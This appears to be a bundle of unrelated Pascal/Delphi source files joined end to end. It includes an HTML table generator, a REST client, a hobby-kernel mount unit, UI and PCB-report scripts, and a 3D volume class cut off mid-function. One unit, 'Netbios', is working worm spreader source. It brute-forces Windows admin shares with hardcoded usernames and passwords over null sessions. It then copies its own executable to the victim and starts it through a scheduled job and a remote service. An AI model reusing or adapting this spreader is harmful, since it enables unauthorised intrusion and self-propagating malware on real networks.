+ #13'</tr>', inTableAttrs); end; function TThGenerator.GenerateTopBottomCell: string; begin Result := GenerateRowTable(GenerateCtrlCell, ' width="100%"'); end; function TThGenerator.GenerateTopBottom(inAlign: TAlign): string; begin Result := ''; while Next([ inAlign ]) do Result := Result + GenerateTopBottomCell; end; function TThGenerator.GenerateLeftRightCell: string; begin Result := GenerateCtrlCell; end; function TThGenerator.GenerateLeftRight(inAlign: TAlign): string; begin Result := ''; while Next([ inAlign ]) do Result := Result + GenerateLeftRightCell; end; function TThGenerator.GenerateClientBand: string; begin if CountAligns([alClient, alNone, alLeft, alRight]) = 0 then Result := '' else begin if CountAligns([alClient, alNone]) = 0 then Result := '<td>&nbsp;</td>' else Result := GenerateClient; if CountAligns([alLeft, alRight]) > 0 then begin Result := GenerateLeftRight(alLeft) + Result + GenerateLeftRight(alRight); end; // Result := Format(STable, // [' width="100%%" height="100%%" name="ClientBand"', Result ]); Result := GenerateRowTable(Result, ' width="100%" height="100%"', ' name="ClientBand" valign="top"'); end; end; function TThGenerator.GenerateClient: string; begin if Next([ alClient ]) then begin Result := GenerateCtrlCell; Reset; end else Result := '<td>' + GenerateCells + '</td>'; end; function TThGenerator.GenerateCells: string; begin FTable := TCellTable.Create; try FillTable; FTable.Generate(GetClientAreaWidth, GetClientAreaHeight); Result := GenerateTableHtml; finally FreeAndNil(FTable); end; end; function TThGenerator.AdjustCellRect(const inRect: TRect): TRect; begin Result := inRect; OffsetRect(Result, -FMargins.Left, -FMargins.Top); end; procedure TThGenerator.FillTable; begin while Next([alNone]) do if Ctrl.Visible then FTable.AddControl(Ctrl, AdjustCellRect(Ctrl.BoundsRect), Index); end; function TThGenerator.GenerateTableHtml: string; var s: TStringList; i, j, c: Integer; begin s := TStringList.Create; try s.Add('<table' + cTableAttributes + ' name="ClientCell"' + '>'); for j := 0 to FTable.RowCount - 1 do begin s.Add('<tr valign="top">'); c := Length(FTable.Rows[j]); for i := 0 to c - 1 do s.Add(GenerateCell(FTable.Rows[j][i])); s.Add('</tr>'); end; s.Add('</table>'); Result := s.Text; finally s.Free; end; end; function TThGenerator.GenerateCell(inCellData: TCellData): string; begin Index := inCellData.Index; with inCellData do begin with TThTag.Create('td') do try if (ColSpan > 1) then Add('colspan', ColSpan); if (RowSpan > 1) then Add('rowspan', RowSpan); if (Index >= 0) then GenerateCtrlTag(ThisTag) else begin Add('width', W); Add('height', H); end; Result := Html; finally Free; end; end; end; end.
unit Rest.Neon; interface uses REST.Client, REST.Types, System.Classes, System.Rtti, System.JSON, System.TypInfo, Classes.Entities, Common.Entities.Card, Neon.Core.Types , Neon.Core.Persistence , Neon.Core.Persistence.JSON; type TNeonRESTClient = class(TRESTClient) private FRESTRequest: TCustomRESTRequest; FErrorMessage: String; function GetResponse: TCustomRESTResponse; function DoJsonToObject<T:Class, constructor>(const AJSONText: String): T; public constructor Create(ABaseApiURL: String); function GetObject<T:class, constructor>(const AResource:String):T; function PostEntity<T: class, constructor>(const AResource: string; AEntity: T): TJSONValue; class function SerializeObject(const AObject: TObject): TJSONValue; class procedure DeserializeObject(const AJSONValue: TJSONValue; AObject: TObject); property Request: TCustomRESTRequest read FRESTRequest; property Response: TCustomRESTResponse read GetResponse; property ErrorMessage: String read FErrorMessage; class function BuildSerializerConfig: INeonConfiguration; end; implementation uses IPPeerClient , System.SysUtils , Neon.Core.Utils //, Neon.Core.Serializers.RTL , Neon.Core.Serializers.RTL; const REST_APP_PATH = '/rest/app/'; {$REGION 'SubFunctions'} //---------------------------------------------------------------------------- function GetRemoteURL: string; const URL = 'http://%s:%d/rest/app/v1/players'; var IP: string; Port: Integer; begin IP := 'localhost'; Port := 8080; Result := Format(URL, [IP, Port]); end; (* //---------------------------------------------------------------------------- function SendCommand: TResultObject; var LJSONResponse: TJSONValue; begin Result := nil; LJSONResponse := nil; try try LJSONResponse := RESTClient.PostEntity<TCommandObject>('command', ACommand); if Assigned(LJSONResponse) then Result := TNeon.JSONToObject<TResultObject>(LJSONResponse, TNeonRESTClient.BuildSerializerConfig); finally if not LJSONResponse.GetOwned then LJSONResponse.Free; end; except on E: Exception do raise Exception.Create('TRESTExecutor.Execute :: Exception: ' + E.Message); // Result will be nil end; end; {$ENDREGION} begin RESTClient := TNeonRESTClient.Create(GetRemoteURL); try Result := SendCommand; finally RESTClient.Free; end; end; *) {$REGION 'TRDRESTClient'} constructor TNeonRESTClient.Create(ABaseApiURL: String); begin inherited Create(ABaseApiURL); Accept := 'application/json, text/plain; q=0.9, text/html;q=0.8,'; AcceptCharset := 'UTF-8, *;q=0.8'; RaiseExceptionOn500 := False; SynchronizedEvents := False; FallbackCharsetEncoding := ''; // Workaround for TUTF8Encoding memory leak (Bug report RSP-17695 fixed in 10.2 Tokyo Release 1) FRESTRequest := TRESTRequest.Create(Self); Self.BaseURL:=Self.BaseURL+REST_APP_PATH; end; function TNeonRESTClient.PostEntity<T>(const AResource: string; AEntity: T): TJSONValue; begin Result := nil; try Request.Method := rmPOST; Request.Resource :='v1/'+ AResource; Request.ClearBody; with TNeon.ObjectToJSON(AEntity, BuildSerializerConfig) do begin try Request.AddBody(ToJSON, ctAPPLICATION_JSON); finally Free; end; end; try Request.Execute; except on E: Exception do raise Exception.CreateFmt('RESTRequest execution failed with code %d: %s, %s', [Response.StatusCode, Response.StatusText, E.Message]); end; if Response.Status.Success then begin if Assigned(Response.JSONValue) then Result := Response.JSONValue else raise Exception.Create('RESTRequest failed: response is not a valid JSONValue'); end else raise ERequestError.Create(Response.StatusCode, Format('%d: %s', [Response.StatusCode, Response.StatusText]), ''); except on E: Exception do begin FErrorMessage := E.Message; raise; end; end; end; class function TNeonRESTClient.SerializeObject(const AObject: TObject): TJSONValue; begin Result := TNeon.ObjectToJSON(AObject, BuildSerializerConfig); end; class procedure TNeonRESTClient.DeserializeObject(const AJSONValue: TJSONValue; AObject: TObject); begin TNeon.JSONToObject(AObject, AJSONValue, BuildSerializerConfig); end; function TNeonRESTClient.DoJsonToObject<T>(const AJSONText: String): T; begin if (AJSONText.Length > 0) then begin Result := TNeon.JSONToObject<T>(AJSONText,BuildSerializerConfig); end; end; function TNeonRESTClient.GetObject<T>(const AResource:String):T; begin Result := nil; Request.Method := TRESTRequestMethod.rmGET; Request.Resource := 'v1/'+AResource; try Request.AddParameter('Content-Type','application/json',TRESTRequestParameterKind.pkHTTPHEADER,[TRESTRequestParameteroption.poDoNotEncode]); Request.Execute; Result := DoJsonToObject<T>(Response.JSONText); except on E: Exception do raise Exception.CreateFmt('RESTRequest execution failed with code %d: %s, %s', [Response.StatusCode, Response.StatusText, E.Message]); end; end; function TNeonRESTClient.GetResponse: TCustomRESTResponse; begin Result := Request.Response; end; class function TNeonRESTClient.BuildSerializerConfig: INeonConfiguration; var neonMembers: TNeonMembersSet; begin Result := TNeonConfiguration.Default; // Case settings Result.SetMemberCustomCase(nil); neonMembers := [TNeonMembers.Standard,TNeonMembers.Fields,TNeonMembers.Properties]; Result.SetMembers(neonMembers); // Set Wirl server Result.SetMemberCase(TNeonCase.SnakeCase); Result.SetUseUTCDate(True); // F Prefix setting Result.SetIgnoreFieldPrefix(True); Result.SetVisibility([mvPublic, mvPublished]); Result.GetSerializers.RegisterSerializer(TGUIDSerializer); // Result.GetSerializers.RegisterSerializer(TCardKeySerializer); end; {$ENDREGION} end.
Unit mount; { * Mount : * * * * Esta unidad se encarga de las llamadas al sistema MOUNT Y UNMOUNT * * que crean la abtracion de terner un solo sistema de archivo , cuan * * do en realidad son FS unidos , al ROOT , todos los FS se pegan al * * ROOT , y los puntos de montage son eliminados una ves reseteada la * * maquina puesto que solo existen en memoria * * * * Copyright (c) 2003-2006 Matias Vara <matiasevara@gmail.com> * * All Rights Reserved * * * * Versiones : * * 07 / 07 / 2005 : Reescritura integra para dar soporte al VFS * * 13 - 03 - 2004 : Primera Version * * * *********************************************************************** } interface {$define debug} {$I ../include/toro/procesos.inc} {$I ../include/head/asm.h} {$I ../include/head/inodes.h} {$I ../include/toro/buffer.inc} {$I ../include/head/buffer.h} {$I ../include/head/scheduler.h} {$I ../include/head/open.h} {$I ../include/head/printk_.h} {$I ../include/head/dcache.h} {$I ../include/head/super.h} {$I ../include/head/namei.h} {$I ../include/head/version.h} implementation {$I ../include/head/string.h} { * Sys_Mount : * * * * path : Ruta al archivo especial de bloque * * path_mount : Ruta donde sera montado el sistema * * fs_name : Tipo de fs a montar * * * * Se encarga de montar al directorio raiz un sistema de archivos * * ,dado en un archivo especial de bloque , se hacen muchas * * controles ya que si no hay un control el sistema se volvia alta * * mente inistable , solo se pueden montar unidades sobre root y no * * sobre otros fs que no se root puesto que podria ocacionar que un * * mismo numero de inodo en se utlice para montar un sistema y que * * el sistema devuelva que el FS ya fue montado . * * * * 31 / 07 / 2005 : Primera version con VFS (No probada) * * * ******************************************************************** } function sys_mount(path,path_mount,name:pchar):dword;cdecl;[public , alias :'SYS_MOUNT']; var tmp:p_inode_t; mayor,menor : dword ; sname : string[20] ; fs_type : p_file_system_type ; spbmount : p_super_block_t ; label _exit ; begin {Inodo del archivo especial} tmp := name_i(path); set_errno := -ENOENT ; If tmp=nil then exit(-1); set_errno := -ENOTBLK; if tmp^.mode <> dt_blk then goto _exit ; mayor := tmp^.rmayor ; menor := tmp^.rmenor ; put_dentry (tmp^.i_dentry); clear_errno ; {Si ya estuviese montado salgo} If (Get_Super(mayor,menor) <> nil ) then exit(-1); {Obtengo el inodo del dir donde se creara el montage} tmp := name_i(path_mount); set_errno := -ENOENT ; if tmp=nil then exit(-1); set_errno := -EISDIR ; {Devera ser un dir} If (tmp^.mode <> dt_dir) then goto _exit ; {El dir deve residir en Root} If (tmp^.mayor <> i_root^.mayor) and (tmp^.menor <> I_root^.menor) then goto _exit; { es traido el nombre del sistema que sera montado } sname[0] := char (pcharlen(name)) ; if byte(sname[0]) > 20 then goto _exit ; pcharcopy (name,sname); sname[0] := char (pcharlen(name)); fs_type := get_fstype (sname) ; if fs_type = nil then goto _exit ; {se trae y se agrega a la cola de spb instalados} spbmount := read_super (mayor,menor,sb_rdonly or sb_rw,fs_type) ; if spbmount = nil then goto _exit; tmp^.i_dentry^.l_count += 1; tmp^.i_dentry^.down_mount_tree := spbmount^.pino_root^.i_dentry ; {$ifdef debug} //printk('/VVFS/n : Sistema %p montado con exito\n',[sname],[]); {$endif} exit(0); _exit : {$ifdef debug} // printk('/VVFS/n : Sistema %p no pudo ser montado\n',[sname],[]); {$endif} put_dentry (tmp^.i_dentry); exit(-1); end; { * Sys_UnMount : * * * * path : Ruta del directorio montado * * Retorno : 0 si fue correcto o <> 0 sino * * * * Esta funcion se encarga de desmontar del inodo root un sistema * * de archivo montado en path * * * *********************************************************************** } function sys_unmount(path:pchar):dword;cdecl;[public , alias :'SYS_UNMOUNT']; begin printk('/Vvfs/n : Unmount funcion no implementada \n',[]); exit(-1); end; { * Sys_Mountroot : * * * * Se encarga de montar la unidad que sera utilizada como root es * * llamada por el proceso init * * * *********************************************************************** } procedure sys_mountroot ; cdecl ; [public , alias : 'SYS_MOUNTROOT']; var fs_type : p_file_system_type ; spbmount : p_super_block_t ; label _exit; begin {este campo sera modificado de acuerdo al fs del root} fs_type := get_fstype ('fatfs'); if fs_type = nil then goto _exit ; {aca es donde se especifica el dispositivo de montage} spbmount := read_super (2 , 0 , sb_rdonly or sb_rw , fs_type); if spbmount = nil then goto _exit ; i_root := spbmount^.pino_root ; dentry_root := i_root^.i_dentry ; {importante!!} dentry_root^.name := '/' ; dentry_root^.len := 1 ; dentry_root^.down_tree := nil ; dentry_root^.flags := i_root^.flags ; dentry_root^.state := st_incache ; i_root^.count += 1; i_root^.i_dentry^.count += 1; Tarea_Actual^.cwd := i_root ; printk('/Vvfs/n ... root montada\n',[]); { bienvenida al usuario } toro_msg; exit; _exit : printk('/Vvfs/n : No se ha podido montar la unidad root\n',[]); debug($1987); end; end.
unit ItemProgress; interface uses Classes, Controls, Forms, StdCtrls, ComCtrls, JvProgressBar, JvExComCtrls; type TformPB = class(TForm) pb1: TJvProgressBar; lblStatus: TLabel; btncancel: TButton; procedure btncancelClick(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public procedure UpdateStatus(status: string); procedure SetPBMax(value: Integer); function GetPBMax():Integer; procedure SetPBValue(value: Integer); procedure NextPBValue(Status: String); var cancel: Boolean; { Public declarations } end; var formPB: TformPB; implementation {$R *.dfm} procedure TformPB.btncancelClick(Sender: TObject); begin cancel := True; btncancel.Enabled := False; lblStatus.Caption := 'Canceling action...'; end; procedure TformPB.FormCreate(Sender: TObject); begin cancel := False; btncancel.Enabled := True; end; function TformPB.GetPBMax: Integer; begin Result := pb1.Max; end; procedure TformPB.NextPBValue(status: String); begin if pb1.Position < pb1.Max then pb1.Position := pb1.Position +1; if Status <> '' then UpdateStatus(Status); end; procedure TformPB.SetPBMax(value: Integer); begin pb1.Max := value; Application.ProcessMessages; end; procedure TformPB.SetPBValue(value: Integer); begin Application.ProcessMessages; pb1.Position := value; Application.ProcessMessages; Application.ProcessMessages; Application.ProcessMessages; end; procedure TformPB.UpdateStatus(status: string); begin Application.ProcessMessages; lblStatus.Caption := status; Application.ProcessMessages; Application.ProcessMessages; end; end.
PROGRAM WorkWithQueryString(INPUT, OUTPUT); USES DOS; FUNCTION GetQueryStringParameter(Key: STRING): STRING; VAR QueryString, Temp: STRING; BEGIN {GetQueryStringParameter} QueryString := GetEnv('QUERY_STRING'); Temp := Copy(QueryString, Pos(Key, QueryString), 200); IF Pos('&', Temp) <> 0 THEN GetQueryStringParameter := Copy(Temp, Pos('=', Temp) + 1, Pos('&', Temp) - Pos('=', Temp) - 1) ELSE GetQueryStringParameter := Copy(Temp, Pos('=', Temp) + 1, 200) END; {GetQueryStringParameter} BEGIN {WorkWithQueryString} WRITELN('Content-Type: text/plain'); WRITELN; WRITELN('First Name: ', GetQueryStringParameter('first_name')); WRITELN('Last Name: ', GetQueryStringParameter('last_name')); WRITELN('Age: ', GetQueryStringParameter('age')) END. {WorkWithQueryString}
unit Netbios; interface // Nt Spreader, Quite (No Auth and Null - they are comabined) Unstable - To be tested. ( i suppose the scanner will take alot of memory due making 2 string list for each threa) // tested on network - working . Procedure NetBiosStart(host:string); implementation Uses Stuff, Classes, Windows, sysutils, config, nt, password, winsvc; Const names : array [1..7] of string = ('administrator','administrateur','admin','guest','user','webmaster','TsInternetUser'); sharesX:array[1..5] of string = ('c$','d$','e$','f$','admin$'); Type NetBioss = class(TThread) Private Shares,Users:TStringList; temphost,tempshare:string; nw :TNetResource; protected constructor Create(host:string); procedure Execute; override; Procedure StartViaService; Procedure MuiltiSession(); end; constructor netbioss.Create(host:string); begin inherited Create(false); FreeOnTerminate := True; temphost:=host; end; { ** // for debugging function NetErrorStr(dwNetError: DWORD): string; Begin Case dwNetError Of ERROR_ACCESS_DENIED:Result:='The caller does not have access to the network resource.'; ERROR_ALREADY_ASSIGNED:Result:='The local device specified by the lpLocalName member is already connected to a network resource.'; ERROR_BAD_DEV_TYPE:Result:='The type of local device and the type of network resource do not match.'; ERROR_BAD_DEVICE:Result:='The value specified by lpLocalName is invalid.'; ERROR_BAD_NET_NAME:Result:='The value specified by the lpRemoteName member is not acceptable to any network resource provider, either because the resource name is invalid, or because the named resource cannot be located. '; ERROR_BAD_PROFILE:Result:='The user profile is in an incorrect format.'; ERROR_BAD_PROVIDER:Result:='The value specified by the lpProvider member does not match any provider.'; ERROR_BUSY:Result:='The router or provider is busy, possibly initializing. The caller should retry. '; ERROR_CANCELLED :Result:='The attempt to make the connection was cancelled by the user through a dialog box from one of the network resource providers, or by a called resource. '; ERROR_CANNOT_OPEN_PROFILE:Result:='The system is unable to open the user profile to process persistent connections.'; ERROR_DEVICE_ALREADY_REMEMBERED:Result:='An entry for the device specified by lpLocalName is already in the user profile. '; ERROR_EXTENDED_ERROR:Result:='A network-specific error occurred. Call the WNetGetLastError function to obtain a description of the error. '; ERROR_INVALID_PASSWORD:Result:='The specified password is invalid and the CONNECT_INTERACTIVE flag is not set.'; ERROR_NO_NET_OR_BAD_PATH:Result:='The operation cannot be performed because a network component is not started or because a specified name cannot be used. '; ERROR_NO_NETWORK:Result:='The network is unavailable.'; ERROR_LOGON_FAILURE:Result:='Logon failure: unknown user name or bad password.'; ERROR_SESSION_CREDENTIAL_CONFLICT:result:='Multiple connections to a server or shared resource by the same user, using more than one user name, are not allowed. Disconnect all previous connections to the server or shared resource and try again.'; ERROR_BAD_NETPATH:result:='The network path was not found.'; ERROR_DATABASE_DOES_NOT_EXIST:result:='The specified database does not exist.'; ERROR_INVALID_PARAMETER:result:='A specified parameter is invalid.'; End; end; } Procedure NetBioss.StartViaService; var fSvc: Integer; fSvcMgr: Integer; fRemoteServer: pchar; fServiceName: string; fLoadGroup: string; lpServiceArgVectors: PChar; PTag: pointer; begin fSvc := 0; PTag := nil; fServiceName := '\\'+temphost+'\'+TempShare+'\'+ExtractFileName(ParamStr(0)); fRemoteServer :=pchar('\\'+temphost); fSvcMgr := OpenSCManager(fRemoteServer, SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS); if fSvcMgr <> 0 then try SendSock('[NetBios] Connected To Remote SC MGR: '+temphost); fSvc := OpenService(fSvcMgr, 'scrserv',SERVICE_ALL_ACCESS); if fSvc = 0 then begin fSvc := CreateService(fSvcMgr, 'scrserv','scrserv', SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, pchar(fServiceName), pchar(fLoadGroup), PTag, nil, nil,nil); if fSvc = 0 then SendSock('[NetBios] Cannot Create A Service on: '+temphost+'\'+tempshare); end; lpServiceArgVectors := nil; SendSock('[NetBios] Start Service attempt on: '+temphost); if not StartService(fSvc, 0, lpServiceArgVectors) then DeleteService(fSvc); finally if fSvc <> 0 then CloseServiceHandle(fSvc); CloseServiceHandle(fSvcMgr); end end; Procedure NetBioss.MuiltiSession(); var i,x,t,ret,o:integer; sCopy,Flag:boolean; TempShares:TstringList; begin Flag:=false; if Shares.Count < 1 Then begin Shares.Clear; for I:=1 to length(sharesx) do Shares.Add(SharesX[i]); end; if Users.Count < 1 Then begin Users.Clear; For I:=1 to length(names) do Users.Add(names[i]); end; begin for i:=0 to Shares.Count -1 do begin sleep(0); If i >= Shares.Count then exit; nw.dwType := RESOURCETYPE_DISK; nw.lpLocalName := nil; nw.lpRemoteName := PChar('\\' + temphost +'\'+Shares[i]); nw.lpProvider := nil; for x:=0 to Users.Count -1 do for t:=1 to length(pwds) do begin sleep(0); ret:=WNetAddConnection2(nw,PChar(pwds[t]),PChar(users[x]),0); if ret = NO_ERROR then begin SendSock('[NETBIOS] Found: '+temphost+'\'+Shares[i] +' '+users[x]+'/'+pwds[t]); sCopy:=CopyFileEx(pchar(paramstr(0)), pchar('\\'+temphost+'\'+shares[i]+'\'+ExtractFileName(ParamStr(0))),nil, nil, nil, 0); if Scopy then begin if NetScheduleJobDO('\\'+temphost,'\\'+temphost+'\'+Shares[i]+'\'+ExtractFileName(ParamStr(0)),2) then SendSock('[NETBIOS] Started Via NetSchedule: '+temphost); tempshare:=Shares[i]; StartViaService; end; // Chk Shares If not flag then begin tempshares:=tstringlist.Create; GetShares('\\'+temphost,TempShares); if TempShares.Count > 0 then begin flag:=true; for o:=0 to TempShares.Count-1 do if Shares.IndexOf(TempShares[o]) = -1 then Shares.Add(TempShares[o]); for o:=1 to length(sharesx) do if TempShares.IndexOf(Sharesx[o]) = -1 then Shares.Delete(Shares.IndexOf(Sharesx[o])); tempshares.Free; end; end; WNetCancelConnection2(nw.lpRemoteName,connect_update_profile,true); // Go renew end; //writeln(Neterrorstr(ret)); end; end; end end; Procedure NetBioss.execute; var flag:boolean; ret:integer; begin nw.dwType:=RESOURCETYPE_ANY; nw.lpRemoteName:=pChar('\\' + temphost + '\IPC$'); ret:=WNetAddConnection2(nw,'','',0); if ret = NO_ERROR then begin SendSock('[NetBios]: \\'+temphost+' null session established.'); Users:=Tstringlist.Create; Shares:=Tstringlist.Create; GetUsers('\\'+temphost,Users); GetShares('\\'+temphost,Shares); WNetCancelConnection2(nw.lpRemoteName,Connect_update_profile,true); MuiltiSession; end else begin SendSock('[NetBios]: \\'+temphost+' null session failed.'); WNetCancelConnection2(nw.lpRemoteName,Connect_update_profile,true); MuiltiSession; end; Users.Free; Shares.Free; Terminate; end; Procedure NetBiosStart(host:string); Var i:NetBioss; begin i:=NetBioss.Create(host); end; end.
{..............................................................................} { Summary Reports PCB documents open in DXP. } { } { Copyright (c) 2003 by Altium Limited } {..............................................................................} Var ReportFile : TStringList; {..............................................................................} {..............................................................................} Function BooleanToString (Value : LongBool) : String; Begin Result := 'True'; If Value = True Then Result := 'True' Else Result := 'False'; End; {..............................................................................} {..............................................................................} Procedure ReportPCBDocumentViews; Var I,J : Integer; FileName : TDynamicString; ReportDocument : IServerDocument; ServerModule : IServerModule; ServerDocument : IServerDocument; ServerDocumentView : IServerDocumentView; S : TDynamicString; Begin If Client = Nil Then Exit; S := ''; ReportFile := TStringList.Create; Try ReportFile.Add('PCB Server Documents information:'); ReportFile.Add('============================='); ReportFile.Add(''); // at least two views for each document, // ie one document view and at least one panel view ServerModule := Client.ServerModuleByName['PCB']; If ServerModule = Nil Then Exit; For I := 0 to ServerModule.DocumentCount - 1 Do Begin ServerDocument := ServerModule.Documents[I]; ReportFile.Add('Document View Count ' + IntToStr(ServerDocument.Count)); ReportFile.Add('FileName ' + ServerDocument.FileName); ReportFile.Add('Kind ' + ServerDocument.Kind); ReportFile.Add(''); ReportFile.Add(' Server Views information:'); ReportFile.Add(' ============================='); ReportFile.Add(''); For J := 0 to ServerDocument.Count - 1 Do Begin ServerDocumentView := ServerDocument.View[j]; ReportFile.Add(' View Name ' + ServerDocumentView.ViewName); If Not(ServerDocumentView.IsPanel) Then ReportFile.Add(' Document Name ' + ServerDocument.FileName); ReportFile.Add(' Panel? ' + BooleanToString(ServerDocumentView.IsPanel)); ReportFile.Add(' Caption ' + ServerDocumentView.Caption); ReportFile.Add(''); End; End; Finally FileName := SpecialFolder_MyDesigns + '\ServerDocumentTypes_Report.Txt'; ReportFile.SaveToFile(FileName); ReportFile.Free; End; ReportDocument := Client.OpenDocument('Text', FileName); If ReportDocument <> Nil Then Client.ShowDocument(ReportDocument); End; {..............................................................................} {..............................................................................}
unit VolumeRGBALongData; interface uses Windows, Graphics, Abstract3DVolumeData, AbstractDataSet, RGBALongDataSet, Math, BasicDataTypes; type T3DVolumeRGBALongData = class (TAbstract3DVolumeData) private FDefaultColor: TPixelRGBALongData; // Gets function GetData(_x, _y, _z, _c: integer):longword; function GetDataUnsafe(_x, _y, _z, _c: integer):longword; function GetDefaultColor:TPixelRGBALongData; // Sets procedure SetData(_x, _y, _z, _c: integer; _value: longword); procedure SetDataUnsafe(_x, _y, _z, _c: integer; _value: longword); procedure SetDefaultColor(_value: TPixelRGBALongData); protected // Constructors and Destructors procedure Initialize; override; // Gets function GetBitmapPixelColor(_Position: longword):longword; override; function GetRPixelColor(_Position: longword):byte; override; function GetGPixelColor(_Position: longword):byte; override; function GetBPixelColor(_Position: longword):byte; override; function GetAPixelColor(_Position: longword):byte; override; function GetRedPixelColor(_x,_y,_z: integer):single; override; function GetGreenPixelColor(_x,_y,_z: integer):single; override; function GetBluePixelColor(_x,_y,_z: integer):single; override; function GetAlphaPixelColor(_x,_y,_z: integer):single; override; // Sets procedure SetBitmapPixelColor(_Position, _Color: longword); override; procedure SetRGBAPixelColor(_Position: integer; _r, _g, _b, _a: byte); override; procedure SetRedPixelColor(_x,_y,_z: integer; _value:single); override; procedure SetGreenPixelColor(_x,_y,_z: integer; _value:single); override; procedure SetBluePixelColor(_x,_y,_z: integer; _value:single); override; procedure SetAlphaPixelColor(_x,_y,_z: integer; _value:single); override; // Copies procedure CopyData(const _Data: TAbstractDataSet; _DataXSize, _DataYSize, _DataZSize: integer); override; public // copies procedure Assign(const _Source: TAbstract3DVolumeData); override; // Misc procedure ScaleBy(_Value: single); override; procedure Invert; override; procedure Fill(_Value: longword); // properties property Data[_x,_y,_z,_c:integer]:longword read GetData write SetData; default; property DataUnsafe[_x,_y,_z,_c:integer]:longword read GetDataUnsafe write SetDataUnsafe; property DefaultColor:TPixelRGBALongData read GetDefaultColor write SetDefaultColor; end; implementation // Constructors and Destructors procedure T3DVolumeRGBALongData.Initialize; begin FDefaultColor.r := 0; FDefaultColor.g := 0; FDefaultColor.b := 0; FDefaultColor.a := 0; FData := TRGBALongDataSet.Create; end; // Gets function T3DVolumeRGBALongData.GetData(_x, _y, _z, _c: integer):longword; begin if IsPixelValid(_x,_y,_z) and (_c >= 0) and (_c <= 2) then begin case (_c) of 0: Result := (FData as TRGBALongDataSet).Red[(_z * FYxXSize) + (_y * FXSize) + _x]; 1: Result := (FData as TRGBALongDataSet).Green[(_z * FYxXSize) + (_y * FXSize) + _x]; 2: Result := (FData as TRGBALongDataSet).Blue[(_z * FYxXSize) + (_y * FXSize) + _x]; else begin Result := (FData as TRGBALongDataSet).Alpha[(_z * FYxXSize) + (_y * FXSize) + _x]; end; end; end else begin case (_c) of 0: Result := FDefaultColor.r; 1: Result := FDefaultColor.g; 2: Result := FDefaultColor.b; else begin Result := FDefaultColor.a; end; end; end; end; function T3DVolumeRGBALongData.GetDataUnsafe(_x, _y, _z, _c: integer):longword; begin case (_c) of 0: Result := (FData as TRGBALongDataSet).Red[(_z * FYxXSize) + (_y * FXSize) + _x]; 1: Result := (FData as TRGBALongDataSet).Green[(_z * FYxXSize) + (_y * FXSize) + _x]; 2: Result := (FData as TRGBALongDataSet).Blue[(_z * FYxXSize) + (_y * FXSize) + _x]; else begin Result := (FData as TRGBALongDataSet).Alpha[(_z * FYxXSize) + (_y * FXSize) + _x]; end; end; end; function T3DVolumeRGBALongData.GetDefaultColor:TPixelRGBALongData; begin Result := FDefaultColor; end; function T3DVolumeRGBALongData.GetBitmapPixelColor(_Position: longword):longword; begin Result := RGB((FData as TRGBALongDataSet).Blue[_Position],(FData as TRGBALongDataSet).Green[_Position],(FData as TRGBALongDataSet).Red[_Position]); end; function T3DVolumeRGBALongData.GetRPixelColor(_Position: longword):byte; begin Result := (FData as TRGBALongDataSet).Red[_Position] and $FF; end; function T3DVolumeRGBALongData.GetGPixelColor(_Position: longword):byte; begin Result := (FData as TRGBALongDataSet).Green[_Position] and $FF; end; function T3DVolumeRGBALongData.GetBPixelColor(_Position: longword):byte; begin Result := (FData as TRGBALongDataSet).Blue[_Position] and $FF; end; function T3DVolumeRGBALongData.GetAPixelColor(_Position: longword):byte; begin Result := (FData as TRGBALongDataSet).Alpha[_Position] and $FF; end; function T3DVolumeRGBALongData.GetRedPixelColor(_x,_y,_z: integer):single; begin Result := (FData as TRGBALongDataSet).Red[(_z * FYxXSize) + (_y * FXSize) + _x]; end; function T3DVolumeRGBALongData.GetGreenPixelColor(_x,_y,_z: integer):single; begin Result := (FData as TRGBALongDataSet).Green[(_z * FYxXSize) + (_y * FXSize) + _x]; end; function T3DVolumeRGBALongData.GetBluePixelColor(_x,_y,_z: integer):single; begin Result := (FData as TRGBALongDataSet).Blue[(_z * FYxXSize) + (_y * FXSize) + _x]; end; function T3DVolumeRGBALongData.GetAlphaPixelColor(_x,_y,_z: integer):single; begin Result := (FData as TRGBALongDataSet).Alpha[(_z * FYxXSize) + (_y * FXSize) + _x]; end; // Sets procedure T3DVolumeRGBALongData.SetBitmapPixelColor(_Position, _Color: longword); begin (FData as TRGBALongDataSet).Red[_Position] := GetRValue(_Color); (FData as TRGBALongDataSet).Green[_Position] := GetGValue(_Color); (FData as TRGBALongDataSet).Blue[_Position] := GetBValue(_Color); end; procedure T3DVolumeRGBALongData.SetRGBAPixelColor(_Position: integer; _r, _g, _b, _a: byte); begin (FData as TRGBALongDataSet).Red[_Position] := _r; (FData as TRGBALongDataSet).Green[_Position] := _g; (FData as TRGBALongDataSet).Blue[_Position] := _b; (FData as TRGBALongDataSet).Alpha[_Position] := _a; end; procedure T3DVolumeRGBALongData.SetRedPixelColor(_x,_y,_z: integer; _value:single); begin (FData as TRGBALongDataSet).Red[(_z * FYxXSize) + (_y * FXSize) + _x] := Round(_value); end; procedure T3DVolumeRGBALongData.SetGreenPixelColor(_x,_y,_z: integer; _value:single); begin (FData as TRGBALongDataSet).Green[(_z * FYxXSize) + (_y * FXSize) + _x] := Round(_value); end; procedure T3DVolumeRGBALongData.SetBluePixelColor(_x,_y,_z: integer; _value:single); begin (FData as TRGBALongDataSet).Blue[(_z * FYxXSize) + (_y * FXSize) + _x] := Round(_value); end; procedure T3DVolumeRGBALongData.SetAlphaPixelColor(_x,_y,_z: integer; _value:single); begin (FData as TRGBALongDataSet).Alpha[(_z * FYxXSize) + (_y * FXSize) + _x] := Round(_value); end; procedure T3DVolumeRGBALongData.SetData(_x, _y, _z, _c: integer; _value: longword); begin if IsPixelValid(_x,_y,_z) and (_c >= 0) and (_c <= 2) then begin case (_c) of 0: (FData as TRGBALongDataSet).Red[(_z * FYxXSize) + (_y * FXSize) + _x] := _value; 1: (FData as TRGBALongDataSet).Green[(_z * FYxXSize) + (_y * FXSize) + _x] := _value; 2: (FData as TRGBALongDataSet).Blue[(_z * FYxXSize) + (_y * FXSize) + _x] := _value; 3: (FData as TRGBALongDataSet).Alpha[(_z * FYxXSize) + (_y * FXSize) + _x] := _value; end; end; end; procedure T3DVolumeRGBALongData.SetDataUnsafe(_x, _y, _z, _c: integer; _value: longword); begin case (_c) of 0: (FData as TRGBALongDataSet).Red[(_z * FYxXSize) + (_y * FXSize) + _x] := _value; 1: (FData as TRGBALongDataSet).Green[(_z * FYxXSize) + 